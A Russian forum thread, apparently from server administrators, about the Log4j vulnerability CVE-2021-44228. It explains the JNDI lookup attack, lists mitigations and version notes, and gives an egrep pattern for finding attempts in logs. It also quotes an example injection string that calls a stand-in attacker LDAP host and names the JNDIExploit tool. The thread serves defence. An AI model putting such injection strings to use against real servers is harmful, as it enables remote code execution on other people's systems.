Критическая уязвимость в Log4j позволяет выполнять произвольный код на сервере

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.

Уязвимость является крайне опасной ввиду следующих причин:
  • Чрезвычайно широкое распростронение библиотеки в экосистеме Java
  • Крайне простой эксплойт
  • Возможность выполнения злоумышленником произвольной команды на сервере
  • Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)
Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}", при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.
Помимо схемы jndi:ldap: возможно использование jndi:rmi: и jndi:dns:

Как бороться​

Уязвимыми следует считать Log4j версии 2.x. Версии 1.x уязвимы только при явном использовании JMSAppender.
Проверить журнал приложения на предмет предпринятых атак можно при помощи egrep -i -r '\$\{jndi:(ldap[S]?|rmi|dns):/[^\n]+'
Для устранения уязвимости необходимо как можно скорее обновить Log4j до версии 2.15.0. Кроме того, если обновление невозможно в силу тех или иных причин, то обезопасить приложение можно путем установки системной переменной Java log4j2.formatMsgNoLookups в значение true (для Log4j 2.10+), или путем удаления класса JndiLookup из classpath.
>>>
>>>
>>>
>>>

По отдельным проектам​

  • Сам не подвержен, плагины возможно.
  • Уязвимость есть, но не может быть использована, поскольку используется Java Security Manager.
 
Вобщем у админов/проггеров множества сайтов, а так же разных серверов/сервисов наступили очень "веселые" дни по проверке всего и вся что может быть подвержено уязвимости.

Кроме того, если обновление невозможно в силу тех или иных причин, то обезопасить приложение можно путем установки системной переменной Java log4j2.formatMsgNoLookups в значение true (для Log4j 2.10+), или путем удаления класса JndiLookup из classpath.
или заменой %m в формируемой логгером строке на %m{nolookups}, но работает это вроде как только на версиях выше 2.7

З.Ы. В серверах линейки потенциально уязвимым по идее является только один из логгеров - тот что логгирует сообщения в чат от игроков, только в нем по идее пишется как есть то что приходит от клиента.
 
  • Мне нравится
Реакции: kick
- страница для теста на наличие уязвимости.
 
Новая уязвимость
 
Назад
Сверху Снизу